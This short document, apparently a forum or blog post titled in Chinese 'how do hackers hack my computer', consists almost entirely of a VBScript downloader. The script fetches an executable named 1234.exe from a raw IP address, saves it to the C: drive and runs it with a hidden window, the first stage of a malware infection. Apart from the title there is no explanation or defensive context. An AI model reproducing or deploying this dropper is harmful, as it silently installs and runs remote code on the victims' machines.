黑客是如何黑我的电脑的

Set psp = CreateObject("Msxml2.XMLHTTP") 
set ws=WScript.CreateObject("WScript.Shell") 
psp.Open "GET","http://27.151.180.228:108/1234.exe",0 
psp.Send() 
Set aGet = CreateObject("ADODB.Stream") 
aGet.Mode = 3 
aGet.Type = 1 
aGet.Open() 
aGet.Write(psp.responseBody) 
aGet.SaveToFile "c:\1234.exe",2 
wscript.sleep 8000 
ws.Run "c:\1234.exe",0